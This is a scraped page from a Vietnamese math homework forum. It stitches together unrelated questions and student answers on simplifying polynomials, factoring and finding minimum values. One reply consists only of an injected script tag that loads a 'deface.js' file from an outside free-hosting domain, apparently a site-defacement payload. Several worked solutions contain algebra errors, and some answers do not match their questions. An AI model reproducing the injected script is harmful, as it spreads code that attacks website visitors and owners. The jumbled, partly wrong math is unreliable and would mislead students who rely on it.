a)thu gọn và tìm bậc của đa thức: A=-5x4+2/5x2y+y4-2/5x2
K
Khách

Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.

AH
Akai Haruma
Giáo viên
10 tháng 12 2023

Lời giải:

a.

$A=-5x^4+\frac{2}{5}x^2y+y^4-\frac{2}{5}x^2y=-5x^4+y^4$

Bậc của A: $4$

b.

ĐKXĐ của phân thức: $x+2\neq 0\Leftrightarrow x\neq -2$
 

10 tháng 12 2023

thank bạn

26 tháng 11 2019

 1a) 8xy(8-12x+6x*x-x*x*x)

 chú thích   x*x là x bình phương

                 x*x*x là x lập phương

2. a) 3x (x-5)- (x-1)(2+3x)=30

      3x*x-15x-2x-3x*x+2+3x=30

           14x=28

           x=2 

  b) (x+2)(x-3)-(x-2)(x+5)=0

     x*x-3x+2x-6-x*x-5x+2x+10=0

       2x=-4

       x=-2

  còn mấy  bài còn lại mình không biết

     

Các bạn giải giùm mình gấp với ạ! Mình sắp phải kiểm tra rồi::Cho đa thức f(x) = (2x - 3)2 - (3x + 1) ( x - 1) + 5x + 3   ( Bài này các bạn k làm cx được)a) thu gọn f(x)b) Chứng tỏ f(x) k có nghiệmBài 2: Tìm giá trị nhỏ nhất của các biểu thức sau ( khi x bằng mấy)a) A = x2 - 6x + 10     b) B = 9x2 - 6x -5    c) C = 2x2 - 5x + 5 Các bạn giải giùm mình gấp với ạ! Mình sắp phải kiểm tra rồi::Cho đa...
Đọc tiếp

Các bạn giải giùm mình gấp với ạ! Mình sắp phải kiểm tra rồi::

Cho đa thức f(x) = (2x - 3)2 - (3x + 1) ( x - 1) + 5x + 3   ( Bài này các bạn k làm cx được)

a) thu gọn f(x)

b) Chứng tỏ f(x) k có nghiệm

Bài 2: Tìm giá trị nhỏ nhất của các biểu thức sau ( khi x bằng mấy)

a) A = x2 - 6x + 10     b) B = 9x2 - 6x -5    c) C = 2x2 - 5x + 5 Các bạn giải giùm mình gấp với ạ! Mình sắp phải kiểm tra rồi::

Cho đa thức f(x) = (2x - 3)2 - (3x + 1) ( x - 1) + 5x + 3   ( Bài này các bạn k làm cx được)

a) thu gọn f(x)

b) Chứng tỏ f(x) k có nghiệm

Bài 2: Tìm giá trị nhỏ nhất của các biểu thức sau ( khi x bằng mấy)

a) A = x2 - 6x + 10     b) B = 9x2 - 6x -5    c) C = 2x2 - 5x + 5

d) D = x4 - 4x2 + 2023     e) E = 5x2 - 4xy + y2 + 8x + 1        f) F = 2x2 - 2xy + y2 + 12x - 4y

 

d) D = x4 - 4x2 + 2023     e) E = 5x2 - 4xy + y2 + 8x + 1        f) F = 2x2 - 2xy + y2 + 12x - 4y

 

 

0
18 tháng 11 2018
 <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script>
18 tháng 11 2018

a, Đặt tính chia ta được Q=2x+3,R=x2-4x+5

b,\(R=x^2-4x+5=x^2-4x+4+1=\left(x-2\right)^2+1\)

Vì (x-2)2 >= 0 

=> R = (x-2)2+1 >= 1

Dấu "=" xảy ra <=> x-2=0 <=> x=2

Vậy GTNN của R =  1 khi x=2

20 tháng 12 2020

a) x2 - 5x - y2 -5y

= ( x2 - y2 ) + ( -5x - 5y)

= ( x - y ) ( x + y) - 5( x + y )

= ( x + y ) ( x - y -5)

b) x3 + 2x2 - 4x - 8

= x2 ( x + 2 ) - 4 ( x + 2 )

= ( x +2 ) ( x2 -4 )

= ( x+2)2 ( x-2)

20 tháng 12 2020

Bai 2 : 

a, \(A=\left(x+3\right)^2+\left(x-2\right)^2-2\left(x+3\right)\left(x-2\right)\)

\(=x^2+6x+9+x^2-4x+4-2\left(x^2-2x+3x-6\right)\)

\(=2x^2+2x+13-2x^2-2x+12=25\)

b, \(B=\left(x-2\right)^2-x\left(x-1\right)\left(x-3\right)+3x^2-9x+8\)

\(=x^2-4x+4-x\left(x^2-3x-x+3\right)+3x^2-9x+8\)

\(=4x^2-13x+12-x^3+4x^2-3x=-16x+12-x^3\)

10 tháng 7 2018

a ) 

\(5x^2-10xy+5y^2-20z^2\)

\(=5\left(x^2-2xy+y^2-4z^2\right)\)

\(=5\left[\left(x-y\right)^2-4z^2\right]\)

b ) 

\(-5x^2-16x-3\)

\(=-5x^2-15x-x-3\)

\(=-5x\left(x+3\right)-\left(x+3\right)\)

\(=\left(-5x-1\right)\left(x+3\right)\)

c ) 

\(x^2-5x+5y-y^2\)

\(=\left(x^2-y^2\right)-5\left(x-y\right)\)

\(=\left(x-y\right)\left(x+y\right)-5\left(x-y\right)\)

\(=\left(x-y\right)\left[\left(x+y\right)-5\right]\)

d ) 

\(3x^2-6xy+3y^2-12z^2\)

\(=3\left(x^2-2xy+y^2-4z^2\right)\)

\(=3\left[\left(x-y\right)^2-4z^2\right]\)

10 tháng 7 2018

P/s :  Mình bổ sung : 

a ) 

\(=5\left(x-y-2z\right)\left(x-y+2z\right)\)

d ) 

\(=3\left(x-y-2z\right)\left(x-y+2z\right)\)

6 tháng 8 2016

phân tích n^3 + 3n^2 + 2n thảnh n.(n+1).(n+2) chia hết cho 6 vì chia hết cho 2 và 3                                                                                chia hết cho 15 là chia hết cho 3 với 5 nha

6 tháng 8 2016

2) a=-(b+c)=> a2=(-(b+c))2

a2-b2-c2=2bc

(a2-b2-c2)2=(2bc)2

a4+b4+c4-2a2b2+2b2c2-2a2c2=4b2c2

a4+b4+c4=2a2b2+2b2c2+2a2c2

2(a4+b4+c4)=(a2+b2+c2)2

Vì a2+b2+c2=14 nên 2(a4+b4+c4)=196

=>a4+b4+c4=98

24 tháng 7 2018

a/ \(x^3-5x^2+8x-4\)

\(\left(x^3-x^2\right)-\left(4x^2-4x\right)+\left(4x-4\right)\)

\(x^2\left(x-1\right)-4x\left(x-1\right)+4\left(x-1\right)\)

\(\left(x-1\right)\left(x^2-4x+4\right)\)

\(\left(x-1\right)\left(x-2\right)^2\)

b/ \(x^3-x^2+x-1\)

\(\left(x^3-x^2\right)+\left(x-1\right)\)

\(x^2\left(x-1\right)+\left(x-1\right)\)

\(\left(x-1\right)\left(x^2+1\right)\)

14 tháng 7 2019

a) \(4x^2-4x+1=\left(2x-1\right)^2\)

14 tháng 7 2019

\(3x\left(x-5\right)-x\left(4+3x\right)=43\)

\(\Leftrightarrow3x^2-15x-4x-3x^2=43\)

\(\Leftrightarrow-19x=43\)

\(\Leftrightarrow x=\frac{-43}{19}\)